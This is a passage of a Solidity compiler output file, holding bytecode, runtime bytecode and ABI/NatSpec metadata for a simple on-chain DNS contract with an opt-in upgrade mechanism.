118bc57600080fd5b6118c88582860161168b565b92505060206118d985828601611622565b9150509250929050565b6000806000606084860312156118f857600080fd5b600084013567ffffffffffffffff81111561191257600080fd5b61191e8682870161168b565b935050602061192f86828701611622565b9250506040611940868287016115e3565b9150509250925092565b60006020828403121561195c57600080fd5b600061196a848285016116df565b91505092915050565b6000806040838503121561198657600080fd5b6000611994858286016116df565b92505060206119a58582860161164c565b9150509250929050565b6119b8816121ba565b82525050565b6119c781612134565b82525050565b6119d681612146565b82525050565b6119e581612152565b82525050565b6119f4816121cc565b82525050565b611a03816121f0565b82525050565b6000611a148261210d565b611a1e8185612118565b9350611a2e818560208601612247565b611a378161227c565b840191505092915050565b6000611a4d8261210d565b611a578185612129565b9350611a67818560208601612247565b80840191505092915050565b6000611a80601f83612118565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000611ac0601783612118565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000611b00601b83612118565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000611b40600f83612118565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000611b80600e83612118565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611bc0600b83612118565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000611c00602283612118565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c66602383612118565b91507f4e6f7420746865206f776e657220696e20757067726164656420636f6e74726160008301527f63742e00000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ccc601583612118565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000611d0c600e83612118565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611d4c601883612118565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b611d88816121b0565b82525050565b6000611d9a8284611a42565b915081905092915050565b6000602082019050611dba60008301846119be565b92915050565b6000602082019050611dd560008301846119af565b92915050565b6000602082019050611df060008301846119cd565b92915050565b6000604082019050611e0b60008301856119cd565b611e1860208301846119eb565b9392505050565b6000604082019050611e3460008301856119dc565b611e4160208301846119be565b9392505050565b6000602082019050611e5d60008301846119fa565b92915050565b60006020820190508181036000830152611e7d8184611a09565b905092915050565b60006040820190508181036000830152611e9f8185611a09565b9050611eae60208301846119be565b9392505050565b60006040820190508181036000830152611ecf8185611a09565b9050611ede60208301846119dc565b9392505050565b60006060820190508181036000830152611eff8186611a09565b9050611f0e60208301856119dc565b611f1b60408301846119be565b949350505050565b60006020820190508181036000830152611f3c81611a73565b9050919050565b60006020820190508181036000830152611f5c81611ab3565b9050919050565b60006020820190508181036000830152611f7c81611af3565b9050919050565b60006020820190508181036000830152611f9c81611b33565b9050919050565b60006020820190508181036000830152611fbc81611b73565b9050919050565b60006020820190508181036000830152611fdc81611bb3565b9050919050565b60006020820190508181036000830152611ffc81611bf3565b9050919050565b6000602082019050818103600083015261201c81611c59565b9050919050565b6000602082019050818103600083015261203c81611cbf565b9050919050565b6000602082019050818103600083015261205c81611cff565b9050919050565b6000602082019050818103600083015261207c81611d3f565b9050919050565b60006040820190506120986000830185611d7f565b6120a560208301846119eb565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156120d3576120d261227a565b5b8060405250919050565b600067ffffffffffffffff8211156120f8576120f761227a565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061213f82612190565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061218982612134565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006121c582612214565b9050919050565b60006121d7826121de565b9050919050565b60006121e982612190565b9050919050565b60006121fb82612202565b9050919050565b600061220d82612190565b9050919050565b600061221f82612226565b9050919050565b600061223182612190565b9050919050565b82818337600083830152505050565b60005b8381101561226557808201518184015260208101905061224a565b83811115612274576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b61229681612134565b81146122a157600080fd5b50565b6122ad81612146565b81146122b857600080fd5b50565b6122c481612152565b81146122cf57600080fd5b50565b6122db8161217e565b81146122e657600080fd5b50565b600281106122f657600080fd5b50565b612302816121b0565b811461230d57600080fd5b5056fea264697066735822122005eb7b9ce5d8e8cd0318058e002f115427649b6a5a095655edf311ff4ccee79a64736f6c63430007040033\",\"bin-runtime\":\"608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063894049781161008c578063d2ac7a5f11610066578063d2ac7a5f14610213578063f7a4669614610231578063f851a4401461024d578063fbf58b3e1461026b576100cf565b806389404978146101aa57806390b60de9146101c6578063b1d6d39d146101f7576100cf565b80630528b345146100d457806327557157146100f2578063461a44781461010e57806355f291661461013f5780635efd5384146101495780637386bbc514610179575b600080fd5b6100dc610287565b6040516100e99190611e48565b60405180910390f35b61010c60048036038101906101079190611973565b6102ab565b005b610128600480360381019061012391906117fa565b610471565b604051610136929190611e1f565b60405180910390f35b610147610639565b005b610163600480360381019061015e9190611795565b610784565b6040516101709190611ddb565b60405180910390f35b610193600480360381019061018e919061194a565b6108cd565b6040516101a1929190612083565b60405180910390f35b6101c460048036038101906101bf91906118e3565b610921565b005b6101e060048036038101906101db91906116f4565b610c56565b6040516101ee929190611df6565b60405180910390f35b610211600480360381019061020c91906117d1565b610db0565b005b61021b610e83565b6040516102289190611ddb565b60405180910390f35b61024b6004803603810190610246919061188f565b610ec4565b005b61025561122b565b6040516102629190611da5565b60405180910390f35b6102856004803603810190610280919061183b565b61124f565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030357600080fd5b61030b610e83565b1561034b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034290612063565b60405180910390fd5b42821161038d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038490611f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156103fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f490611f43565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000806000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016104d09190611dc0565b604080518083038186803b1580156104e757600080fd5b505afa1580156104fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051f919061171d565b9150915081156105bc578073ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b81526004016105629190611e63565b604080518083038186803b15801561057957600080fd5b505afa15801561058d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b19190611759565b935093505050610634565b6001856040516105cc9190611d8e565b908152602001604051809103902060000160009054906101000a900460e01b6001866040516105fb9190611d8e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050505b915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069157600080fd5b610699610e83565b6106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90611fe3565b60405180910390fd5b6000600160008054905003815481106106ed57fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061073957fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b6000806000805490509050610797610e83565b156107a457806001900390505b60005b818110156108c057600081815481106107bc57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156108a5575060018081111561082f57fe5b6000828154811061083c57fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156108a357fe5b145b156108b5576001925050506108c7565b8060010190506107a7565b5060009150505b92915050565b600081815481106108dd57600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b815260040161097d9190611dc0565b604080518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc919061171d565b915091508115610a4c578073ffffffffffffffffffffffffffffffffffffffff1663894049788686866040518463ffffffff1660e01b8152600401610a1393929190611ee5565b600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505050610c51565b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990611fc3565b60405180910390fd5b6000855111610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90611f83565b60405180910390fd5b6000600186604051610b089190611d8e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148015610bab5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190612023565b60405180910390fd5b848160000160006101000a81548163ffffffff021916908360e01c0217905550838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b505050565b6000806000808054905090506000811415610c78576000809250925050610dab565b610c80610e83565b15610c98576001811015610c9057fe5b806001900390505b6000811415610cae576000809250925050610dab565b60008190505b6000811115610da157600180811115610cc957fe5b60006001830381548110610cd957fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166001811115610d4057fe5b1415610d9557600160006001830381548110610d5857fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935093505050610dab565b80600190039050610cb4565b5060008092509250505b915091565b610db8610e83565b610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee90611f23565b60405180910390fd5b6000808054905090508160006001830381548110610e1157fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836001811115610e7a57fe5b02179055505050565b6000806000805490509050600081118015610ebe57504260006001830381548110610eaa57fe5b906000526020600020906003020160010154115b91505090565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b8152600401610f209190611dc0565b604080518083038186803b158015610f3757600080fd5b505afa158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f919061171d565b9150915081156110e95760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b8152600401610fb49190611e63565b604080518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110039190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663f7a4669686866040518363ffffffff1660e01b81526004016110af929190611eb5565b600060405180830381600087803b1580156110c957600080fd5b505af11580156110dd573d6000803e3d6000fd5b50505050505050611227565b60006001856040516110fb9190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612043565b60405180910390fd5b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90611fc3565b60405180910390fd5b838160000160006101000a81548163ffffffff021916908360e01c02179055505050505b5050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016112ab9190611dc0565b604080518083038186803b1580156112c257600080fd5b505afa1580156112d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fa919061171d565b9150915081156114745760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b815260040161133f9190611e63565b604080518083038186803b15801561135657600080fd5b505afa15801561136a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138e9190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f690612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e86866040518363ffffffff1660e01b815260040161143a929190611e85565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b505050505050506115df565b60006001856040516114869190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90612043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90611fa3565b60405180910390fd5b838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b5050565b6000813590506115f28161228d565b92915050565b6000815190506116078161228d565b92915050565b60008151905061161c816122a4565b92915050565b600081359050611631816122bb565b92915050565b600081519050611646816122bb565b92915050565b60008135905061165b816122d2565b92915050565b600081519050611670816122d2565b92915050565b600081359050611685816122e9565b92915050565b600082601f83011261169c57600080fd5b81356116af6116aa826120dd565b6120ac565b915080825260208301602083018583830111156116cb57600080fd5b6116d6838284612238565b50505092915050565b6000813590506116ee816122f9565b92915050565b60006020828403121561170657600080fd5b6000611714848285016115e3565b91505092915050565b6000806040838503121561173057600080fd5b600061173e8582860161160d565b925050602061174f85828601611661565b9150509250929050565b6000806040838503121561176c57600080fd5b600061177a85828601611637565b925050602061178b858286016115f8565b9150509250929050565b600080604083850312156117a857600080fd5b60006117b68582860161164c565b92505060206117c7858286016115e3565b9150509250929050565b6000602082840312156117e357600080fd5b60006117f184828501611676565b91505092915050565b60006020828403121561180c57600080fd5b600082013567ffffffffffffffff81111561182657600080fd5b6118328482850161168b565b91505092915050565b6000806040838503121561184e57600080fd5b600083013567ffffffffffffffff81111561186857600080fd5b6118748582860161168b565b9250506020611885858286016115e3565b9150509250929050565b600080604083850312156118a257600080fd5b600083013567ffffffffffffffff8111156118bc57600080fd5b6118c88582860161168b565b92505060206118d985828601611622565b9150509250929050565b6000806000606084860312156118f857600080fd5b600084013567ffffffffffffffff81111561191257600080fd5b61191e8682870161168b565b935050602061192f86828701611622565b9250506040611940868287016115e3565b9150509250925092565b60006020828403121561195c57600080fd5b600061196a848285016116df565b91505092915050565b6000806040838503121561198657600080fd5b6000611994858286016116df565b92505060206119a58582860161164c565b9150509250929050565b6119b8816121ba565b82525050565b6119c781612134565b82525050565b6119d681612146565b82525050565b6119e581612152565b82525050565b6119f4816121cc565b82525050565b611a03816121f0565b82525050565b6000611a148261210d565b611a1e8185612118565b9350611a2e818560208601612247565b611a378161227c565b840191505092915050565b6000611a4d8261210d565b611a578185612129565b9350611a67818560208601612247565b80840191505092915050565b6000611a80601f83612118565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000611ac0601783612118565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000611b00601b83612118565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000611b40600f83612118565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000611b80600e83612118565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611bc0600b83612118565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000611c00602283612118565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c66602383612118565b91507f4e6f7420746865206f776e657220696e20757067726164656420636f6e74726160008301527f63742e00000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ccc601583612118565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000611d0c600e83612118565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611d4c601883612118565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b611d88816121b0565b82525050565b6000611d9a8284611a42565b915081905092915050565b6000602082019050611dba60008301846119be565b92915050565b6000602082019050611dd560008301846119af565b92915050565b6000602082019050611df060008301846119cd565b92915050565b6000604082019050611e0b60008301856119cd565b611e1860208301846119eb565b9392505050565b6000604082019050611e3460008301856119dc565b611e4160208301846119be565b9392505050565b6000602082019050611e5d60008301846119fa565b92915050565b60006020820190508181036000830152611e7d8184611a09565b905092915050565b60006040820190508181036000830152611e9f8185611a09565b9050611eae60208301846119be565b9392505050565b60006040820190508181036000830152611ecf8185611a09565b9050611ede60208301846119dc565b9392505050565b60006060820190508181036000830152611eff8186611a09565b9050611f0e60208301856119dc565b611f1b60408301846119be565b949350505050565b60006020820190508181036000830152611f3c81611a73565b9050919050565b60006020820190508181036000830152611f5c81611ab3565b9050919050565b60006020820190508181036000830152611f7c81611af3565b9050919050565b60006020820190508181036000830152611f9c81611b33565b9050919050565b60006020820190508181036000830152611fbc81611b73565b9050919050565b60006020820190508181036000830152611fdc81611bb3565b9050919050565b60006020820190508181036000830152611ffc81611bf3565b9050919050565b6000602082019050818103600083015261201c81611c59565b9050919050565b6000602082019050818103600083015261203c81611cbf565b9050919050565b6000602082019050818103600083015261205c81611cff565b9050919050565b6000602082019050818103600083015261207c81611d3f565b9050919050565b60006040820190506120986000830185611d7f565b6120a560208301846119eb565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156120d3576120d261227a565b5b8060405250919050565b600067ffffffffffffffff8211156120f8576120f761227a565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061213f82612190565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061218982612134565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006121c582612214565b9050919050565b60006121d7826121de565b9050919050565b60006121e982612190565b9050919050565b60006121fb82612202565b9050919050565b600061220d82612190565b9050919050565b600061221f82612226565b9050919050565b600061223182612190565b9050919050565b82818337600083830152505050565b60005b8381101561226557808201518184015260208101905061224a565b83811115612274576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b61229681612134565b81146122a157600080fd5b50565b6122ad81612146565b81146122b857600080fd5b50565b6122c481612152565b81146122cf57600080fd5b50565b6122db8161217e565b81146122e657600080fd5b50565b600281106122f657600080fd5b50565b612302816121b0565b811461230d57600080fd5b5056fea264697066735822122005eb7b9ce5d8e8cd0318058e002f115427649b6a5a095655edf311ff4ccee79a64736f6c63430007040033\",\"metadata\":\"{\\\"compiler\\\":{\\\"version\\\":\\\"0.7.4+commit.3f05b770\\\"},\\\"language\\\":\\\"Solidity\\\",\\\"output\\\":{\\\"abi\\\":[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"_upgradeInfo\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_user\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"activeUpgrade\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"admin\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"cancelUpgrade\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_addr\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_user\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"isTrustedUpgrade\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"_when\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_to\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"newUpgrade\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"enum Upgrade.Opt\\\",\\\"name\\\":\\\"_opt\\\",\\\"type\\\":\\\"uint8\\\"}],\\\"name\\\":\\\"opt\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradeInfo\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradePlanned\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"upgrades\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"when\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"to\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}],\\\"devdoc\\\":{\\\"kind\\\":\\\"dev\\\",\\\"methods\\\":{\\\"activeUpgrade(address)\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"(false, 0) if _user never opted-in, or opted-in but the planned upgrade then was cancelled.\\\",\\\"_1\\\":\\\"(true, <address_of_upgrade>) if user opted-in at least once, and that upgrade became active.\\\"}},\\\"isTrustedUpgrade(address,address)\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"true if _addr is or was an active upgrade trusted by _user.\\\"}},\\\"register(string,bytes4,address)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"New domain to be registered.\\\",\\\"_ip\\\":\\\"Ip the domain should point to.\\\",\\\"_owner\\\":\\\"Owner of the newly registered domain.\\\"}},\\\"resolve(string)\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"The IP that _domain points to and the owner.\\\"}},\\\"transfer(string,address)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"Domain to be transferred.\\\",\\\"_owner\\\":\\\"New owner.\\\"}},\\\"update(string,bytes4)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"Domain to be updated.\\\",\\\"_ip\\\":\\\"New ip that the domain should point to.\\\"}},\\\"upgradePlanned()\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"true if there is a currently planned upgrade.\\\"}}},\\\"title\\\":\\\"Simple implementation of a DNS.\\\",\\\"version\\\":1},\\\"userdoc\\\":{\\\"kind\\\":\\\"user\\\",\\\"methods\\\":{\\\"activeUpgrade(address)\\\":{\\\"notice\\\":\\\"Search backwards for the latest upgrade that _user opted-in. Does not consider the currently planned upgrade, if any.\\\"},\\\"admin()\\\":{\\\"notice\\\":\\\"Upgrade admin. Can only suggest new upgrades and cancel planned upgrades, but cannot change users options neither change the upgrades history.\\\"},\\\"cancelUpgrade()\\\":{\\\"notice\\\":\\\"Allows the upgrade manager to cancel a planned upgrade. No behavior changes, users still access their current preferred upgrade.\\\"},\\\"newUpgrade(uint256,address)\\\":{\\\"notice\\\":\\\"Allows the upgrade manager to suggest a new upgrade. Users must actively opt-in if they wish to use the newly suggested contract.\\\"},\\\"opt(uint8)\\\":{\\\"notice\\\":\\\"Allows a user to opt in or out the current planned upgrade.\\\"},\\\"register(string,bytes4,address)\\\":{\\\"notice\\\":\\\"Registers a new domain. Domain must be currently unused.\\\"},\\\"transfer(string,address)\\\":{\\\"notice\\\":\\\"Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\\\"},\\\"update(string,bytes4)\\\":{\\\"notice\\\":\\\"Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\\\"},\\\"upgradeInfo()\\\":{\\\"notice\\\":\\\"The upgrade engine for this DNS contract. Users need to actively opt-in the latest suggested upgrade in the `upgradeInfo` contract. If that upgrade is finalized and the user opted in, their calls will be directed to the upgrade contract they chose. That information is retrieved via `upgradeInfo.activeUpgrade(msg.sender)`.\\\"},\\\"upgrades(uint256)\\\":{\\\"notice\\\":\\\"History of upgrades performed by this engine, which remain alive since different users might opt-in different upgrades. - An upgrade is currently planned if there is an element in the array and its `when` is in the future. - There cannot be two planned upgrades at the same time. - A user can opt-in multiple upgrades throughout time. The latest upgrade a user opted-in is their active upgrade.\\\"}},\\\"notice\\\":\\\"It uses `Upgrade` as its upgrade mechanism. If a user chooses to upgrade, the functions in this contract will relay the message to the upgrade chosen by that user. Users should only trust and opt-in upgrades that only accept messages where msg.sender == tx.origin or msg.sender is the original DNS contract or msg.sender is an upgrade that the user trusted at some 